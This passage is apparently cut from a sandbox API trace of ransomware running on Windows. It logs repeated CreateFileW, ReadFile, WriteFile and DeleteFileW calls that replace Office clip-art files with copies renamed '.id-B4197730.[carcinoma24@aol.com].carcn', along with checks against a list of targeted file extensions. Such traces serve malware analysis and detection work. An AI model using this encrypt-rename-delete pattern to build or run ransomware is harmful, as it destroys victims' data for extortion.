lpNewFilePointer=0x0) returned 1 [0306.711] SetEndOfFile (hFile=0x398) returned 1 [0306.712] CloseHandle (hObject=0x398) returned 1 [0306.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 1 [0306.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0306.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0306.713] lstrlenW (lpString=".doc") returned 4 [0306.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.713] lstrlenW (lpString=".docx") returned 5 [0306.713] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0306.713] lstrlenW (lpString=".pdf") returned 4 [0306.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.713] lstrlenW (lpString=".xls") returned 4 [0306.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.713] lstrlenW (lpString=".xlsx") returned 5 [0306.713] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0306.713] lstrlenW (lpString=".ppt") returned 4 [0306.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0306.713] lstrlenW (lpString=".zip") returned 4 [0306.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.713] lstrlenW (lpString=".rar") returned 4 [0306.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.713] lstrlenW (lpString=".bz2") returned 4 [0306.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.713] lstrlenW (lpString=".7z") returned 3 [0306.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0306.714] lstrlenW (lpString=".dbf") returned 4 [0306.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0306.714] lstrlenW (lpString=".1cd") returned 4 [0306.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0306.714] lstrlenW (lpString=".jpg") returned 4 [0306.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.714] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.714] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0306.715] GetLastError () returned 0x0 [0306.715] ReadFile (in: hFile=0x398, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x12bc, lpOverlapped=0x0) returned 1 [0306.746] WriteFile (in: hFile=0x348, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x12c0, lpOverlapped=0x0) returned 1 [0306.748] ReadFile (in: hFile=0x398, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.748] WriteFile (in: hFile=0x348, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0306.748] SetEndOfFile (hFile=0x348) returned 1 [0306.748] CloseHandle (hObject=0x348) returned 1 [0306.748] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.748] SetEndOfFile (hFile=0x398) returned 1 [0306.749] CloseHandle (hObject=0x398) returned 1 [0306.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 1 [0306.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0306.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0306.750] lstrlenW (lpString=".doc") returned 4 [0306.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.750] lstrlenW (lpString=".docx") returned 5 [0306.750] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0306.750] lstrlenW (lpString=".pdf") returned 4 [0306.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.750] lstrlenW (lpString=".xls") returned 4 [0306.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.750] lstrlenW (lpString=".xlsx") returned 5 [0306.750] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0306.750] lstrlenW (lpString=".ppt") returned 4 [0306.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0306.751] lstrlenW (lpString=".zip") returned 4 [0306.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.751] lstrlenW (lpString=".rar") returned 4 [0306.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.751] lstrlenW (lpString=".bz2") returned 4 [0306.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.751] lstrlenW (lpString=".7z") returned 3 [0306.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0306.751] lstrlenW (lpString=".dbf") returned 4 [0306.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0306.751] lstrlenW (lpString=".1cd") returned 4 [0306.751] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0306.751] lstrlenW (lpString=".jpg") returned 4 [0306.751] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.761] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.761] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0306.764] GetLastError () returned 0x0 [0306.764] ReadFile (in: hFile=0x37c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x1580, lpOverlapped=0x0) returned 1 [0306.818] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1590, lpOverlapped=0x0) returned 1 [0306.819] ReadFile (in: hFile=0x37c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.819] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0306.819] SetEndOfFile (hFile=0x34c) returned 1 [0306.819] CloseHandle (hObject=0x34c) returned 1 [0306.819] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.819] SetEndOfFile (hFile=0x37c) returned 1 [0306.840] CloseHandle (hObject=0x37c) returned 1 [0306.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 1 [0306.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0306.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0306.842] lstrlenW (lpString=".doc") returned 4 [0306.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.842] lstrlenW (lpString=".docx") returned 5 [0306.842] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0306.842] lstrlenW (lpString=".pdf") returned 4 [0306.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.842] lstrlenW (lpString=".xls") returned 4 [0306.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.842] lstrlenW (lpString=".xlsx") returned 5 [0306.842] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0306.842] lstrlenW (lpString=".ppt") returned 4 [0306.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0306.842] lstrlenW (lpString=".zip") returned 4 [0306.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.842] lstrlenW (lpString=".rar") returned 4 [0306.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.842] lstrlenW (lpString=".bz2") returned 4 [0306.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.842] lstrlenW (lpString=".7z") returned 3 [0306.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0306.842] lstrlenW (lpString=".dbf") returned 4 [0306.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0306.842] lstrlenW (lpString=".1cd") returned 4 [0306.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0306.842] lstrlenW (lpString=".jpg") returned 4 [0306.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.847] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.847] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0306.848] GetLastError () returned 0x0 [0306.848] ReadFile (in: hFile=0x37c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x290c, lpOverlapped=0x0) returned 1 [0306.850] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x2910, lpOverlapped=0x0) returned 1 [0306.852] ReadFile (in: hFile=0x37c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.852] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0306.852] SetEndOfFile (hFile=0x34c) returned 1 [0306.852] CloseHandle (hObject=0x34c) returned 1 [0306.852] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.852] SetEndOfFile (hFile=0x37c) returned 1 [0306.853] CloseHandle (hObject=0x37c) returned 1 [0306.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 1 [0306.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0306.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0306.854] lstrlenW (lpString=".doc") returned 4 [0306.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.854] lstrlenW (lpString=".docx") returned 5 [0306.854] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0306.854] lstrlenW (lpString=".pdf") returned 4 [0306.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.854] lstrlenW (lpString=".xls") returned 4 [0306.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.854] lstrlenW (lpString=".xlsx") returned 5 [0306.854] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0306.854] lstrlenW (lpString=".ppt") returned 4 [0306.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0306.855] lstrlenW (lpString=".zip") returned 4 [0306.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.855] lstrlenW (lpString=".rar") returned 4 [0306.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.855] lstrlenW (lpString=".bz2") returned 4 [0306.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.855] lstrlenW (lpString=".7z") returned 3 [0306.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0306.855] lstrlenW (lpString=".dbf") returned 4 [0306.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0306.855] lstrlenW (lpString=".1cd") returned 4 [0306.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0306.855] lstrlenW (lpString=".jpg") returned 4 [0306.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.855] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.856] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0306.856] GetLastError () returned 0x0 [0306.856] ReadFile (in: hFile=0x37c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xb54, lpOverlapped=0x0) returned 1 [0306.931] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xb60, lpOverlapped=0x0) returned 1 [0306.932] ReadFile (in: hFile=0x37c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.932] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0306.932] SetEndOfFile (hFile=0x34c) returned 1 [0306.936] CloseHandle (hObject=0x34c) returned 1 [0306.936] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.936] SetEndOfFile (hFile=0x37c) returned 1 [0306.945] CloseHandle (hObject=0x37c) returned 1 [0306.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 1 [0306.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0306.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0306.950] lstrlenW (lpString=".doc") returned 4 [0306.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.950] lstrlenW (lpString=".docx") returned 5 [0306.950] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0306.950] lstrlenW (lpString=".pdf") returned 4 [0306.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.950] lstrlenW (lpString=".xls") returned 4 [0306.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.950] lstrlenW (lpString=".xlsx") returned 5 [0306.950] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0306.950] lstrlenW (lpString=".ppt") returned 4 [0306.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0306.951] lstrlenW (lpString=".zip") returned 4 [0306.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.951] lstrlenW (lpString=".rar") returned 4 [0306.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.951] lstrlenW (lpString=".bz2") returned 4 [0306.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.951] lstrlenW (lpString=".7z") returned 3 [0306.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0306.951] lstrlenW (lpString=".dbf") returned 4 [0306.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0306.951] lstrlenW (lpString=".1cd") returned 4 [0306.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0306.951] lstrlenW (lpString=".jpg") returned 4 [0306.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.954] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.954] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0306.978] GetLastError () returned 0x0 [0306.979] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x16f8, lpOverlapped=0x0) returned 1 [0306.988] WriteFile (in: hFile=0x398, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1700, lpOverlapped=0x0) returned 1 [0306.989] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.989] WriteFile (in: hFile=0x398, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0306.989] SetEndOfFile (hFile=0x398) returned 1 [0306.989] CloseHandle (hObject=0x398) returned 1 [0306.989] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.989] SetEndOfFile (hFile=0x34c) returned 1 [0307.000] CloseHandle (hObject=0x34c) returned 1 [0307.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 1 [0307.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0307.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0307.002] lstrlenW (lpString=".doc") returned 4 [0307.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.002] lstrlenW (lpString=".docx") returned 5 [0307.002] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0307.002] lstrlenW (lpString=".pdf") returned 4 [0307.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.002] lstrlenW (lpString=".xls") returned 4 [0307.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.002] lstrlenW (lpString=".xlsx") returned 5 [0307.002] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0307.002] lstrlenW (lpString=".ppt") returned 4 [0307.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0307.002] lstrlenW (lpString=".zip") returned 4 [0307.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.002] lstrlenW (lpString=".rar") returned 4 [0307.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.002] lstrlenW (lpString=".bz2") returned 4 [0307.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.002] lstrlenW (lpString=".7z") returned 3 [0307.003] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0307.003] 